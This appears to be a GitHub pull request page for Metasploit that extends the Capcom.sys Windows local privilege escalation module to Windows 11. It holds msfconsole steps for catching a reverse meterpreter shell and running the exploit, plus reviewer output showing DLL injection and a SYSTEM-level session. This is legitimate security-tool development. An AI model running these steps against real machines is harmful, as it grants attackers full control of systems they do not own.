Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

fix #15890: Support Windows 11 in Capcom.sys LPE Module #17474

Merged
merged 4 commits into from
Sep 8, 2023

Conversation

prabhatjoshi321
Copy link
Contributor

@prabhatjoshi321 prabhatjoshi321 commented Jan 13, 2023

Closes #15890

This pull request is a fix for the issue #15890 meant for the module modules/exploits/windows/local/capcom_sys_exec.rb. Earlier the version check for the module relied on sysinfo and checked the version number to verify compatibility. Now the version check is updated to use @smashery implementation over at #17336 and the module is tested with the vulnerability in Windows 11 (build 22000.194) to verify its functionality for that particular platform. After the verification the description comments are updated accordingly.

Verification

Following were the steps followed to check the expected results

  • Start msfconsole
  • use multi/handler
  • set payload <the payload used>
  • set LHOST <the interface ip>
  • set LPORT <the port used in the payload>
  • run
  • Obtain a reverse meterpreter shell and background it using Ctrl+Z and y.
  • sessions Note down the session number to use later.
  • use windows/local/capcom_sys_exec
  • set session <the session number obtained before>
  • set LHOST <the interface ip>
  • set LPORT <the desired port>
  • run

The exploit works as expected. The reverse meterpreter shell is obtained with system privileges.

Windows version tested on.
image

The output
image

@gwillcox-r7
Copy link
Contributor

@prabhatjoshi321 Does this rely on #17336 being landed before this PR can be landed? If so I'm going to add the delayed tag so we know this relies on another PR to be landed before we can land this.

@gwillcox-r7 gwillcox-r7 self-assigned this Feb 7, 2023
@prabhatjoshi321
Copy link
Contributor Author

Yes, it does rely on the @smashery version check implementation he created in #17336 . You may go ahead and put the delayed flag as it does rely on that.

@gwillcox-r7 gwillcox-r7 added the blocked Blocked by one or more additional tasks label Feb 8, 2023
@gwillcox-r7 gwillcox-r7 removed their assignment Feb 14, 2023
@adfoster-r7
Copy link
Contributor

Looks like the version detection PR Is landed; I think this PR should be unblocked

@gwillcox-r7 gwillcox-r7 removed the blocked Blocked by one or more additional tasks label Jun 15, 2023
@gwillcox-r7
Copy link
Contributor

gwillcox-r7 commented Jun 15, 2023

Removing delayed flag. This will likely need a rebase to resolve the conflicting file, but should now be ready to review. Thanks for updating this @adfoster-r7!

@gwillcox-r7
Copy link
Contributor

gwillcox-r7 commented Jun 23, 2023

@prabhatjoshi321 Any word on rebasing this to pull in latest changes and resolve the merge conflict? Also seems like a few outstanding comments here may still need to be addressed before we do another round of review.

Edit: Rebased to pull in recent changes, will still need to review comments from reviews and see if we can address them.

@gwillcox-r7
Copy link
Contributor

gwillcox-r7 commented Jun 30, 2023

Upon further investigation it should be noted that 10.0.22000.194 is the only public version of Windows 11 that this adds support for. All previous versions were beta versions and as thus are unlikely to have been deployed outside of lab environments. Unfortunately to complicate matters, Visual Studio Subscriptions only lets me download Windows 11 (consumer editions), version 21H2 (updated Nov 2021), not the original Windows 11 21H2 release ISO.

@prabhatjoshi321 Would you happen to still have a lab environment to test this in with the right Windows 11 version? I can try set one up myself but might take a bit of time.

@jheysel-r7 jheysel-r7 self-assigned this Sep 8, 2023
Copy link
Contributor

@jheysel-r7 jheysel-r7 left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Thanks for the enhancement @prabhatjoshi321! Changes look good and testing was as expected:

msf6 exploit(windows/local/capcom_sys_exec) > rexploit
[*] Reloading module...

[*] Started reverse TCP handler on 192.168.123.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable.
[*] Launching netsh to host the DLL...
[+] Process 6776 launched.
[*] Reflectively injecting the DLL into 6776...
[*] Sending stage (200774 bytes) to 192.168.123.220
[+] Exploit finished, wait for (hopefully privileged) payload execution to complete.
[*] Meterpreter session 5 opened (192.168.123.1:4444 -> 192.168.123.220:49677) at 2023-09-08 12:58:01 -0400

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer        : MSFDEVICE
OS              : Windows 10 (10.0 Build 22000).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x64/windows
meterpreter >

modules/exploits/windows/local/capcom_sys_exec.rb Outdated Show resolved Hide resolved
@jheysel-r7 jheysel-r7 merged commit 96a6baa into rapid7:master Sep 8, 2023
32 checks passed
@jheysel-r7 jheysel-r7 added the rn-enhancement release notes enhancement label Sep 8, 2023
@jheysel-r7
Copy link
Contributor

Release Notes

This PR adds support to the Capcom.sys driver LPE for Windows 11 21H1

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
Projects
Archived in project
Development

Successfully merging this pull request may close these issues.

Support Windows 11 in Capcom.sys LPE Module
4 participants